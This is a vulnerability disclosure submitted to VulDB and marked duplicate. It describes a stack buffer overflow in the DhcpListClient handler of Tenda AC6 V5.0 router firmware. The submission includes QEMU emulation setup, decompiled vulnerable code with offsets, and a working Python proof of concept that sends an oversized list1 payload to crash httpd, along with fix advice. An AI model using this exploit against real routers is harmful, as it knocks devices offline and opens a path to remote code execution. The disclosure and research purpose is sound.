提交 #901968: Tenda AC6 V03.03.20.11 Memory Corruption

Basic Vendor & Product Info
Vendor: Tenda
Product: AC6
Hardware Version: V5.0
Firmware Version: V03.03.20.11
Vulnerability Class: Memory Corruption (Stack Buffer Overflow)
CVSS Base Score: 8.2 AV:N/AC:L/Au:S/C:H/I:H/A:H
Full Emulation Environment Deployment
Official firmware download: https://www.tenda.com.cn/material/show/3242
1. Download QEMU ARM Dependencies
bash
运行
sudo apt update && sudo apt install aria2
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress"
Downloaded files list:
debian_wheezy_armhf_standard.qcow2
initrd.img-3.2.0-4-vexpress
vmlinuz-3.2.0-4-vexpress
2. Host TAP Network & Iptables Config
bash
运行
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED
sudo ifconfig tap0 192.168.100.1 netmask x.x.x.x
3. QEMU Launch Command
bash
运行
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
VM login username & password: root
4. VM Firmware Deployment Steps
Network configuration inside virtual machine
bash
运行
ifconfig eth0 192.168.100.2 netmask x.x.x.x
route add default gw 192.168.100.1
Verify bidirectional ping between host and VM to confirm network connectivity.
Package firmware and launch HTTP server on host machine
bash
运行
tar -czvf squashfs-root.tar squashfs-root
python3 -m http.server
Extract firmware, create bridge and start httpd service in VM
bash
运行
wget http://192.168.100.1:8000/squashfs-root.tar
tar -xzvf squashfs-root.tar
ip link add name br0 type bridge
ip link set dev br0 up
ip addr add 192.168.100.2/24 dev br0
chroot ./squashfs-root sh
cp -rf webroot_ro/* webroot/
./bin/httpd
After startup, the router web management page is accessible at http://192.168.100.2.
Vulnerability 3 Detailed Description
Full Attack Path
URL: http://[target_ip]/goform/DhcpListClient
Controllable Parameter: POST parameter list1 / list2 / listN
Processing Function: fromDhcpListClient @ 0x88638
Vulnerable Offset: 0x8877C
Stack Buffer: char dest[256];
Authentication Required: Valid admin session cookie
Note: On complete physical Tenda router firmware, requests without valid login cookie will be redirected to login page and cannot reach vulnerable code. Authentication validation is bypassed only in incomplete chroot emulation environment lacking dependent system daemons and flash storage services.
Root Cause Analysis
The function iterates to read multi-group DHCP static IP binding entries with loop variable i:
c
运行
sprintf((char *)v5, "%s%d", "list", i);
v10 = sub_2B7C4(a1, v5, &unk_EA74C);
if ( !v10 || !*(_BYTE *)v10 )
break;
strcpy(dest, (const char *)(v10 + 1));
The code splices parameter names like list1, list2 by combining fixed string "list" and loop number i;
sub_2B7C4 fetches raw user-controlled input without any length validation or filtering;
Pointer offset v10 + 1 skips the first character of user input string;
Unsafe unbounded strcpy copies the remaining payload into fixed-size 256-byte stack buffer dest.
Oversized payload passed to list1 overflows stack buffer, corrupts stack local variables, base pointer and function return address. Segmentation fault occurs on function return, crashing the httpd web server. The built-in watchdog automatically restarts httpd to cause persistent remote denial of service; remote code execution is achievable with accurate stack layout control.
Proof of Concept (POC)
python
运行
import requests
from pwn import cyclic

url = "http://192.168.100.2/goform/DhcpListClient"
cookie = {"password": "VALID_SESSION_COOKIE"}
# Leading X character will be skipped by pointer v10 + 1
payload = b"X" + cyclic(1000)
data = {
"LISTLEN": "1",
"page": "1",
"list1": payload
}
try:
r = requests.post(
url,
cookies=cookie,
data=data,
timeout=3,
allow_redirects=False
)
print("status:", r.status_code)
print("body:", r.text[:200])
except requests.RequestException as e:
print("Possible httpd crash:", e)
Reproduction Phenomenon
Short payload: HTTP 200 OK response returns normal router web page content;
1000-byte long cyclic payload: Python script throws ReadTimeout or ConnectionResetError;
QEMU serial console outputs Segmentation fault (core dumped) to confirm httpd process crash;
Web service recovers automatically after watchdog restarts httpd process.
Mitigation & Fix Recommendations
Add maximum length restriction for all listN parameters before string copy operation;
Replace unsafe unbounded strcpy with bounded strncpy to block stack out-of-bounds write;
Implement unified global input length filter for all CGI POST request parameters in web server.
Duplicate Vulnerability Statement
Existing public CVE-2025-60338 only affects Tenda AC6 V2.0 old firmware. This vulnerability uniquely impacts Tenda AC6 V5.0 firmware V03.03.20.11. Binary program, function offsets and stack layout are completely independent, no matching existing vulnerability records on VulDB, NVD and CNVD.

• 用户: hfddh666 (UID 99974)
• 提交: 2026-07-22 13時17分 (2 月前)
• 管理: 2026-09-06 11時36分 (2 months later)
• 状态: 重复
• VulDB条目: 329397 [Tenda AC6 15.03.06.50 DhcpListClient page 内存损坏]
• 积分: 0